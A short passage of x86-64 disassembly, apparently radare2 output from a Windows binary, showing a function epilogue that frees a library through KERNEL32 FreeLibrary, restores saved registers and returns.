call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rdi
call fcn.140001560
mov r13, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x90]
mov r14, qword [rsp + 0x58]
add rsp, 0x70
pop rdi
pop rbp
pop rbx
ret